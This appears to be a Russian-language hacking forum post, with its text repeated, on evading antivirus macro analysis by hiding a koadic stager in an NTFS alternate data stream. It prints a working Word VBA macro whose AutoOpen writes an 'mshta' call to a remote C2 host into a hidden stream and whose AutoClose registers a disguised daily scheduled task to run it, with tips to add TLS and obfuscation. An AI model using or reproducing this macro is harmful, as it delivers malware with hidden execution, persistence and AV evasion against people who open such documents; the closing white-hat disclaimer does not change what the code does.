Добрый день, дорогое сообщество.
Я давно не писал годные статьи, все по причине загруженности на работе. Но вот решил порадовать вас и выполнить обещание.
В свое время я писал статью Альтернативные потоки данных NTFS и их применение в pentest. про альтернативные потоки. И вот пришло время рассмотреть практическую сторону применения.
Кто не знает что такое Альтернативный поток - иди читать статью дружок, ну а те кто уже в теме велком:
Не для кого не секрет что во многих антивирусных программах присутствует дополнительные средства анализа макросов офиса. Зачастую все действия макросов подвергаются дополнительной эвристической обработке и могут быть задетекчены различными методами.
В своем тесте мы будем использовать фреймворк koadic (zerosum0x0/koadic)
Готовим stager:
наш stager готов и мы приступаем к созданию нашего документа:
Открываем макросы word и пишем код следующего вида:
Я не буду приводить пример с использованием %Path а так же с проверкой текущей даты и выставление скедулера на конкретное время. (дорогой читатель сам догадается как это сделать)
Расскажу только что мы делаем:
В первой части нашего макроса мы на стадии открытия документа создаем альтернативный стрим под названием Aop.ps1 причем открываем его в самом документе (хотя это и не главное - можно куда угодно запихать) и кладем туда стринговое значение на load нашего stager.
Ну а во второй части на стадии закрытия данного документа, мы создаем в планировщике задач, таску которая вызовет load нашего stager из альтернативного стрима в определенное время, в данном случае 6-20pm localtime.
Для хорошего эффекта нам конечно же стоит использовать TLS ну и обфускацию ни кто не отменял (статьи по этой теме были по моему даже на форуме).
Наша таска создалась:
Ну а теперь наливаем кофе и ждем....
Бинго:
Проверяем статус командой zombie:
Ну и конечно для нашего спокойствия проверим АВ:
Как же прекрасно что я защищен!
P.S. Что и зачем мы сделали - мы авойднули детект на стадии доп эвристики в макро защитах АВ программ. Как я и писал раньше использование альтернативных стримов - это просто дополнительный уровень триксов для сокрытия.
P.S2. Автор статьи не несет ответственности за применение описываемых техник в незаконных целях. Материал статьи предоставлен в образовательных целях и для использования в рамках white hat практик.
Я давно не писал годные статьи, все по причине загруженности на работе. Но вот решил порадовать вас и выполнить обещание.
В свое время я писал статью Альтернативные потоки данных NTFS и их применение в pentest. про альтернативные потоки. И вот пришло время рассмотреть практическую сторону применения.
Кто не знает что такое Альтернативный поток - иди читать статью дружок, ну а те кто уже в теме велком:
Не для кого не секрет что во многих антивирусных программах присутствует дополнительные средства анализа макросов офиса. Зачастую все действия макросов подвергаются дополнительной эвристической обработке и могут быть задетекчены различными методами.
В своем тесте мы будем использовать фреймворк koadic (zerosum0x0/koadic)
Готовим stager:
наш stager готов и мы приступаем к созданию нашего документа:
Открываем макросы word и пишем код следующего вида:
Код:
Sub AutoOpen()
Dim exe As String
Shell ("powershell.exe -nop -w hidden Set-Content -Path C:\Users\User\Documents\Doc2.docx -Stream Aop.ps1 -Value 'mshta http://10.10.1.244:9999/ptYkb'")
End Sub
Sub AutoClose()
Dim exe As String
Shell ("powershell.exe -nop -w hidden $action=New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-nop -w hidden C:\Users\User\Documents\Doc2.docx:Aop.ps1'; $trigger=New-ScheduledTaskTrigger -Daily -At 6:20pm; Register-ScheduledTask -Action $action -Trigger $trigger -TaskName 'LostFound' -Description 'Test' ")
End Sub
Расскажу только что мы делаем:
В первой части нашего макроса мы на стадии открытия документа создаем альтернативный стрим под названием Aop.ps1 причем открываем его в самом документе (хотя это и не главное - можно куда угодно запихать) и кладем туда стринговое значение на load нашего stager.
Ну а во второй части на стадии закрытия данного документа, мы создаем в планировщике задач, таску которая вызовет load нашего stager из альтернативного стрима в определенное время, в данном случае 6-20pm localtime.
Для хорошего эффекта нам конечно же стоит использовать TLS ну и обфускацию ни кто не отменял (статьи по этой теме были по моему даже на форуме).
Наша таска создалась:
Ну а теперь наливаем кофе и ждем....
Бинго:
Проверяем статус командой zombie:
Ну и конечно для нашего спокойствия проверим АВ:
Как же прекрасно что я защищен!
P.S. Что и зачем мы сделали - мы авойднули детект на стадии доп эвристики в макро защитах АВ программ. Как я и писал раньше использование альтернативных стримов - это просто дополнительный уровень триксов для сокрытия.
P.S2. Автор статьи не несет ответственности за применение описываемых техник в незаконных целях. Материал статьи предоставлен в образовательных целях и для использования в рамках white hat практик.